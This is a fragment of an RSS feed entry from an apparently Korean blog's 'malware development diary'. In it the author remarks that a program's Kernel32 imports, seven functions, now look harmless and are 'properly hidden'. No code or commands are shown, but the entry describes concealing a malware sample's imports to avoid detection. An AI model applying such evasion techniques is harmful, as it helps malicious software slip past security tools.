&lt;p data-ke-size=&quot;size16&quot;&gt;딱히 Kernel32에서 불러오는 함수가 critical하지 않아 보인다!&lt;br /&gt;&amp;nbsp; &amp;nbsp; 7개의 함수를 import&lt;br /&gt;정상적으로 잘 숨겨진 것이다!&lt;/p&gt;</description>
      <category>악성코드와 백신/악성코드 개발일지</category>
      <category>악성코드 개발일지</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/280</guid>
      <comments>https://verybigsilver.tistory.com/280#entry280comment</comments>
      <pubDate>Thu, 14 May 2026 21:45:48 +0900</pubDate>
    </item>
  </channel>
</rss>